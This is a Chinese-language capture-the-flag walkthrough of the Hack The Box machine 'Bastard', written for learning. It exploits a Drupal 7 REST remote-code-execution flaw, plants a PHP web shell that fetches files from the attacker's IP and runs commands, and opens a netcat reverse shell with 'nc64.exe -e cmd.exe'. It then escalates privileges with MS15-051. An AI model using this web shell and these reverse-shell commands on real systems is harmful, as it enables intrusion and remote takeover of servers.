htb-machines-Bastard
信息收集
nmap -sV 10.10.10.9
发现开了三个端口,有80,先访问看看
很明显是Drupal,基于php的cmf
那先找找有没有版本漏洞
Drupal 7
Drupal的版本在/CHANGELOG.txt中
得知Drupal 7.5.4,开启msf,找下相关漏洞
有一个7.x版本RCE的漏洞,打开尝试一下
发现/rest_endpoint路径报错,更改为/rest,exp如上图左所示
同时,此exp有三个问题
将代码第15行修改为上图,70行类似,因为#单行注释无法匹配两行内容。同时还需要在kali中安装php-curl
apt install php-curl
这里我的kali是php双环境,一直更新在最新的php版本上,试了各种方法都没用,之前一直懒没装kali2020,装好真香,不需要改上述的exp,并且直接装好php-curl,自带zsh,界面也好看,太香了
还以为要重新装openvpn,没想到也自带,太香了太香了
可以看到成功出现session.json
使用session.json中的cookie进行登陆,成功登陆为admin账户
(重写了exp)
成功连接
执行systeminfo
上传nc
首先下载nc
(由于需要上传nc,又重写了shell)
a = '<?php if (isset($_REQUEST["fupload"])) {
file_put_contents($_REQUEST["fupload"], file_get_contents("http://10.10.14.23:9999/".$_REQUEST["fupload"]));
};
if (isset($_REQUEST["fexec"])) {
echo"<pre>".shell_exec($_REQUEST["fexec"])."</pre>";
};
?>';
file_get_contents中的ip为你连接vpn后的ip
启动python服务器
python -m SimpleHTTPServer 9999
上传nc
http://10.10.10.9/karsa.php?fupload=nc64.exe&fexec=nc64.exe%2010.10.14.23%208808%20-e%20cmd.exe
成功反弹shell
接下来进行提权
提权
CVE-2015-1701
http://10.10.10.9/karsa.php?fexec=ms15-051x64.exe%20%22nc64.exe%20-e%20cmd%2010.10.14.23 8899%22
获得flag
方法二
使用 SMB 协议进行文件传输
impacket-smbserver share `pwd`
http://10.10.10.9/karsa.php?fexec=\\10.10.14.23\share\ms15-051x64.exe%20whoami
同样可以
总结
-
学习到了Drupal版本漏洞
-
学会两种渗透中的文件传输技巧
- python搭建httpserver
python -m SimpleHTTPServer 端口
- smb协议搭建SMBserver
impacket-smbserver share `pwd`
# 在当前目录启动 SMB server,共享名称为 share
- 学会了使用CVE-2015-1701(MS15-051)提权
htb的靶机还是非常有意思,多打打,学习